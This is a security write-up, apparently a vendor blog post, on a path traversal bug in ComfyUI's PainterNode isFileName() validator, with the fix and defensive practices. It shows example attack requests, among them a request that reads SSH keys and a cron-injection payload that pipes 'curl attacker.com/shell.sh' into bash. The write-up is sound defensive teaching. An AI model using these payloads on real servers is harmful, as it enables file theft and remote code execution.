How Path Traversal and Filename Injection Happens in Python File Handling and How to Fix It

The Broken Guard: A Logic Bug That Unlocked Path Traversal in ComfyUI's PainterNode

The PainterNode/painter_node.py file in ComfyUI manages painter settings by reading and writing files based on user-supplied node names. A dedicated helper function, isFileName(), was supposed to act as a gatekeeper — rejecting any filename that looked dangerous before it ever touched the filesystem. The problem? The gatekeeper's logic was silently broken, and any filename, including ../../../etc/passwd, walked straight through.

This post breaks down exactly how the bug worked, why it's dangerous in the context of a ComfyUI server, and what the fix does to close the gap.

The Vulnerability Explained

The Broken isFileName() Function

Here is the original validation function at the heart of the issue:

# BEFORE (vulnerable)
def isFileName(filename):
    if (
        not filename
        and filename is not None
        and (type(filename) == str and filename.strip() == "")
    ):
        print("Filename is incorrect")
        return False
    return True

At first glance this looks like it's doing something useful. But look closely at the boolean operators: every clause is joined with and. For this if block to trigger and return False, all three conditions must be true simultaneously:

1. not filename — the filename must be falsy
2. filename is not None — the filename must not be None
3. filename.strip() == "" — the filename must be an empty string after stripping whitespace

Conditions 1 and 2 are mutually exclusive in almost every real case. If filename is None, then filename is not None is False, and the whole condition short-circuits. If filename is a non-empty string like "../secrets.json", then not filename is False, and again the condition never triggers. The function returns True — "this is a valid filename" — for virtually every input, including malicious ones.

This means an attacker supplying ../../../etc/passwd, C:\Windows\System32\config\SAM, or ..\\secrets to any endpoint that calls isFileName() would receive a clean bill of health from the validator.

What an Attacker Can Do With This

ComfyUI exposes HTTP endpoints for managing painter settings. The loadingSettings, savingSettings, and related route handlers use isFileName() to validate the nodeName path parameter before constructing a file path like:

settings_file = os.path.join(PAINTER_SETTINGS_DIR, f"{nodeName}.json")

Because isFileName() always returned True, an attacker with network access to the ComfyUI server could send:

GET /alekpet/painter_settings/load/../../../home/user/.ssh/id_rsa

or

POST /alekpet/painter_settings/save
{"nodeName": "../../etc/cron.d/backdoor", "data": "* * * * * root curl attacker.com/shell.sh | bash"}

ComfyUI is frequently run on LAN-exposed ports or even public-facing servers, making this a realistic attack vector. The impact ranges from reading sensitive configuration files to overwriting system files if the process has sufficient permissions.

The Fix

What Changed in isFileName()

The fix rewrites the broken compound condition using or operators and adds explicit path traversal character checks:

# AFTER (fixed)
def isFileName(filename):
    if (
        not filename
        or not isinstance(filename, str)
        or filename.strip() == ""
        or "/" in filename
        or "\\" in filename
        or ".." in filename
    ):
        print("Filename is incorrect")
        return False
    return True

Here's a before/after comparison of the critical logic:

The switch from and to or means the function now returns False if any single condition is true — exactly the semantics a security guard needs. A filename only passes if it clears every check.

The three new character-level checks directly block the attack scenarios described above:
- "/" in filename — blocks Unix absolute paths and traversal like ../secrets
- "\\" in filename — blocks Windows-style paths like ..\secrets
- ".." in filename — blocks double-dot traversal even without slashes in some edge cases

Why Each Addition Matters

The isinstance(filename, str) check (replacing the old type(filename) == str) is also a subtle improvement: it correctly handles subclasses of str, which is the Python-idiomatic way to type-check, and it's now evaluated unconditionally rather than buried inside an unreachable branch.

Prevention & Best Practices

1. Use or for Rejection Logic in Validators

When writing a function whose job is to reject bad input, use or to chain your conditions. If any single condition signals danger, the input should be rejected. Using and means you're requiring all danger signals to appear simultaneously — a much harder bar to clear.

# Pattern for rejection guards
def is_safe_input(value):
    if (
        not value
        or not isinstance(value, str)
        or contains_dangerous_chars(value)
    ):
        return False
    return True

2. Defense in Depth: Base Directory Assertion

Character-level checks are a good first line of defense, but for file operations, combine them with a base directory assertion:

import os

BASE_DIR = os.path.realpath("/app/painter_settings")

def safe_settings_path(filename):
    if not isFileName(filename):
        raise ValueError("Invalid filename")
    candidate = os.path.realpath(os.path.join(BASE_DIR, f"{filename}.json"))
    if not candidate.startswith(BASE_DIR + os.sep):
        raise ValueError("Path traversal detected")
    return candidate

This catches edge cases that character filtering might miss (e.g., URL-encoded sequences or symlink attacks).

3. Prefer pathlib for Path Construction

Python's pathlib module makes safe path construction more natural:

from pathlib import Path

BASE = Path("/app/painter_settings").resolve()

def get_settings_path(filename: str) -> Path:
    target = (BASE / filename).resolve()
    target.relative_to(BASE)  # raises ValueError if outside BASE
    return target

4. Add Authentication to File-Serving Endpoints

The broader PR context notes that these endpoints also lack authentication. Even with a perfect filename validator, unauthenticated endpoints that read/write files are a significant risk. Require a session token or API key for any endpoint that touches the filesystem.

5. Static Analysis Tools

• Bandit: Flags unsafe open() calls and path construction patterns in Python
• Semgrep: Rules like python.lang.security.audit.path-traversal detect tainted filenames reaching open() calls
• Orbis AppSec: Traced the full data flow from HTTP route parameter → isFileName() → file operation

Relevant standards:
- OWASP: Path Traversal
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Key Takeaways

• isFileName() in painter_node.py was logically impossible to trigger — the and-chained conditions created a contradiction that meant the function always returned True, making it a no-op security check.
• Boolean operator choice is a security decision: using and vs or in a validator changes whether you reject on any bad signal or only when all bad signals appear simultaneously.
• Path traversal requires explicit character checks: blocking .., /, and \ must be done proactively — Python's open() and os.path.join() will happily follow traversal sequences without complaint.
• Filename validators that live inside unreachable code branches provide zero protection — the type check and empty-string check were both inside a branch that could never execute.
• File-serving endpoints in network-exposed applications like ComfyUI need both input validation and authentication — one without the other leaves a meaningful attack surface open.

How Orbis AppSec Detected This

• Source: HTTP route parameter nodeName supplied by a remote client via GET /alekpet/painter_settings/load/{nodeName}
• Sink: open() call constructing a file path from nodeName inside the settings load handler in PainterNode/painter_node.py
• Missing control: isFileName() was called but its boolean logic (and instead of or) made it impossible to return False, and no checks existed for /, \, or .. characters
• CWE: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
• Fix: Rewrote isFileName() with or-separated conditions and added explicit character-level checks for path traversal sequences

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

A single misplaced and in a validation function turned a security guard into a welcome mat. The isFileName() function in PainterNode/painter_node.py was designed to protect file operations from malicious input, but its logically contradictory conditions meant it never once rejected a filename in practice. The fix is concise — swap and for or, move checks out of unreachable branches, and add explicit guards for the characters that make path traversal possible. If you maintain Python code that constructs file paths from user input, audit your validators for exactly this pattern: rejection logic must use or, not and.

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• OWASP Path Traversal Cheat Sheet
• Python pathlib documentation — safe path construction
• Semgrep rules for Python path traversal
• fix: all http endpoints registered via promptserver in painter_node.py